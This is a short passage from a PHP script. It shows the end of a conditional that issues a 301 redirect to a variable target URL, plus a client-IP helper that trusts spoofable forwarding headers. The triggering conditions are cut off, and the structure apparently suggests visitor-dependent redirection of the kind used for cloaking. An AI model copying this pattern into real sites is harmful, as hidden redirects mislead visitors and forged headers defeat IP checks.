正常访问内容 // 执行301跳转 header("HTTP/1.1 301 Moved Permanently"); header("Location: $targetUrlsx"); exit; } } } function getClientIp() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } ?>